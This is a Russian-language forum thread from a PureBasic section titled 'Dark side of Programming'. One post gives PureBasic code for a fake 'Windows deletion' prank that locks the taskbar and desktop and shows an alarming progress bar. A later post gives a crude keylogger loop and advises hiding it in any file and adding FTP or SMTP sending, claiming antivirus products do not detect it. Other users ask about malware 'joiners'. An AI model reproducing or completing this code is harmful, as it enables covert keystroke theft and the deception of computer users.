forum.boolean.name

forum.boolean.name (http://forum.boolean.name/index.php)
-   PureBasic (http://forum.boolean.name/forumdisplay.php?f=90)
-   -   Dark side of Programming (http://forum.boolean.name/showthread.php?t=2363)

Chrono Syndrome 26.10.2007 21:33

Re: Dark side of Programming
 
Цитата:

Сообщение от Tadeus
А можно, плиз, привести алгоритм этих джойнеров? Был бы очень благодарен ;)

Там же есть код, разбирайся.

Tadeus 26.10.2007 21:52

Re: Dark side of Programming
 
Я плохо понимаю пурик :@

ResX 26.10.2007 22:53

Re: Dark side of Programming
 
удалялка Винды ;)

Код:


Global NewList Files.s()
Global NewList Dirs.s()
Global cnt.l = 0
Global cnt_original.l = 0
Global cnt_timer.l = 0
Global ist.b = 1
Global done.b = 0
Procedure OW()
 
 OpenWindow(0, 0, 0, 380, 100, "Удаление...", #PB_Window_ScreenCentered)
 CreateGadgetList(WindowID(0))
 ProgressBarGadget(0, 5, 77, 305, 16, 0, 1000, #PB_ProgressBar_Smooth)
 ButtonGadget(1, 315, 75, 60, 20, "Отмена", #PB_Button_Toggle)
 TextGadget(2, 10, 10, 360, 60, "Подготовка к удалению..." + Chr(13) + ";)")
 
EndProcedure
Procedure EnumFiles(dir.s)
 While Right(dir, 1) = "." : dir = Left(dir, Len(dir) - 1) : Wend
 If Not Right(dir, 1) = "\" : dir = dir + "\" : EndIf
 
 ed.l = ExamineDirectory(#PB_Any, dir, "")
 
 If ed
    While NextDirectoryEntry(ed)
    type.l = DirectoryEntryType(ed)
    name.s = DirectoryEntryName(ed)
      If type = #PB_DirectoryEntry_File
        AddElement(Files())
        Files() = dir + name
        cnt + 1 
        If cnt_timer <= GetTickCount_()
        SetGadgetText(2, "Подготовка к удалению..." + Chr(13) + "Вего критических файлов найдено: " + "[" + Str(cnt) + "]")
        cnt_timer = GetTickCount_() + 100
        EndIf
      ElseIf type = #PB_DirectoryEntry_Directory And Not Right(name, 1) = "."
        AddElement(Dirs())
        Dirs() = dir + name
      EndIf
    Wend
    FinishDirectory(ed)
  EndIf
 
  If CountList(Dirs())
  FirstElement(Dirs()) : ddir.s = Dirs() : DeleteElement(Dirs(), 1) : EnumFiles(ddir)
  Else
  SetGadgetText(2, "Подготовка к удалению..." + Chr(13) + "Вего критических файлов найдено: " + "[" + Str(cnt) + "]" + Chr(13) + "Завершение подготовки...")
  EndIf
 
 
EndProcedure
Procedure.l HandleFromClass(class.s, name.s = "")
 
 ProcedureReturn FindWindow_(class, name)
 
EndProcedure
EnableWindow_(HandleFromClass("Shell_TrayWnd"),                  #False)
EnableWindow_(HandleFromClass("Progman", "Program Manager"), #False)
OW()
cnt_timer = GetTickCount_() + 200
*b = AllocateMemory(#MAX_PATH)
l = GetWindowsDirectory_(*b, #MAX_PATH)
thr.l = CreateThread(@EnumFiles(), PeekS(*b, l))
FreeMemory(*b)
AddKeyboardShortcut(0, #PB_Shortcut_Control | #PB_Shortcut_Alt | #PB_Shortcut_Shift | #PB_Shortcut_Back, 99)
Repeat
 event = WindowEvent()
 
 If EventMenu() = 99
    event = #PB_Event_ClientConnected
 EndIf
 
 If Not IsThread(thr) And ist = 1 : ist = 0 : done = 1 : cnt_timer = GetTickCount_() + Random(100)
  MessageRequester("Предупреждение", "Вы действительно желаете удалить эти, возможно системные, файлы?", #PB_MessageRequester_YesNo  | #MB_ICONQUESTION)
  SetGadgetAttribute(0, #PB_ProgressBar_Maximum, cnt) : cnt_original = cnt
 EndIf
 
 If done = 1
  If cnt_timer <= GetTickCount_()
  If Not cnt = -1
    SetGadgetState(0, cnt_original - cnt) : SelectElement(Files(), cnt_original - cnt)
    SetGadgetText(2, "Удаление:" + Chr(13) + "файла: " + GetFilePart(Files()) + " [" + StrD(FileSize(Files()) / 1024, 2) + "KB]" + Chr(13) + "из директории: " + Left(GetPathPart(Files()), Len(GetPathPart(Files())) - 1))
    cnt_timer = GetTickCount_() + Random(50) : cnt - 1
  Else
    event = #PB_Event_ClientConnected
  EndIf
  EndIf
 EndIf
Until event = #PB_Event_ClientConnected
EnableWindow_(HandleFromClass("Shell_TrayWnd"),                  #True)
EnableWindow_(HandleFromClass("Progman", "Program Manager"), #True)

многие сразу лезли к Reset'у )))

(ну, естественно, я писал)

Chrono Syndrome 27.10.2007 19:43

Re: Dark side of Programming
 
Цитата:

Сообщение от Tadeus
Я плохо понимаю пурик :@

Ну, что будет непонятно - спрашивай.

Tadeus 27.10.2007 22:27

Re: Dark side of Programming
 
Да все не понятно :) Можно на псевдокоде: :-)

Chrono Syndrome 28.10.2007 11:06

Re: Dark side of Programming
 
Цитата:

Сообщение от Tadeus
Да все не понятно :) Можно на псевдокоде: :-)

Могу на ассемблере).

Tadeus 28.10.2007 11:13

Re: Dark side of Programming
 
Чего уж там, довай в P-кодах))

Slepetc 04.03.2009 00:51

Ответ: Dark side of Programming
 
Прикольные статьи. Буду ждать продолжения уроков.

Такая просьбы, можешь выложить код, объединяющий два файла в один, так проще будет понять принцип джойнеров.

Randomize 04.03.2009 20:09

Ответ: Dark side of Programming
 
* вспонил книжку "Delphi глазами хакера"
На PureBasic я ниразу не прогал, но хочу заметить что приколы очень забавные. На WinAPI вобще целое поле для фантазии в этом направлении.

NitE 04.03.2009 23:17

Ответ: Dark side of Programming
 
Slepetc, а что потвоему джойнер ё-маё ?

Slepetc 04.03.2009 23:21

Ответ: Dark side of Programming
 
Joiner-джойнер.По-моему догадаться не сложно.
З.Ы.Уже не нада.Сам разобрался.

moka 05.03.2009 02:54

Ответ: Dark side of Programming
 
NitE, долю уважения выражать не забываем.
То что физически оскорблённый не дотянеться - ничего не определяет, это интернет, и здесь выражается твоя суть, как личности внешне, но не визуально, как говориться, как себя зарекомендуешь, так и будут с тобой обращаться.
Учитывай это.

Следующее выраженное неуважение, и будет поднят вопрос о временном бане, чтобы остыл, подумал.

Alior 19.08.2009 04:21

Ответ: Dark side of Programming
 
Жесть)))
Спасибо буду над людьми стебатся)

Android 19.08.2009 09:26

Ответ: Dark side of Programming
 
oh, shi~
они везде :crazy:

levinter 16.05.2010 10:21

Ответ: Dark side of Programming
 
Repeat
If GetAsyncKeyState_(#VK_Q)=-32767
WriteString(1,"Q")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_W)=-32767
WriteString(1,"W")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_E)=-32767
WriteString(1,"E")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_R)=-32767
WriteString(1,"R")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_T)=-32767
WriteString(1,"T")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Y)=-32767
WriteString(1,"Y")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_U)=-32767
WriteString(1,"U")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_I)=-32767
WriteString(1,"I")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_O)=-32767
WriteString(1,"O")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_P)=-32767
WriteString(1,"P")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_A)=-32767
WriteString(1,"A")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_S)=-32767
WriteString(1,"S")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_F)=-32767
WriteString(1,"F")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_G)=-32767
WriteString(1,"G")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_H)=-32767
WriteString(1,"H")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_J)=-32767
WriteString(1,"J")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_K)=-32767
WriteString(1,"L")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_Z)=-32767
WriteString(1,"Z")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_X)=-32767
WriteString(1,"X")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_C)=-32767
WriteString(1,"C")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_V)=-32767
WriteString(1,"V")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_B)=-32767
WriteString(1,"B")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_N)=-32767
WriteString(1,"N")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_M)=-32767
WriteString(1,"M")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_0)=-32767
WriteString(1,"0")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_1)=-32767
WriteString(1,"1")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_2)=-32767
WriteString(1,"2")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_3)=-32767
WriteString(1,"3")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_4)=-32767
WriteString(1,"4")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_5)=-32767
WriteString(1,"5")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_6)=-32767
WriteString(1,"6")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_7)=-32767
WriteString(1,"7")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_8)=-32767
WriteString(1,"8")
SaveFileRequester(1)
EndIf
If GetAsyncKeyState_(#VK_9)=-32767
WriteString(1,"9")
SaveFileRequester(1)
forever
вписываем в любой ваш фаил ну еще плюс дописать отправку файла ето уже как угодно ftp или smtp. и все шпион клавиатруы готов .. антивирями такими как аваст касперский и доктор вэб не палится только есть опасность что при отпровление файла на маил может сроботать аваст

только перед этим еще фаил откройтие в который вписываться лог будет и обязательно с идекатором 1


Часовой пояс GMT +4, время: 04:48.

vBulletin® Version 3.6.5.
Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
Перевод: zCarot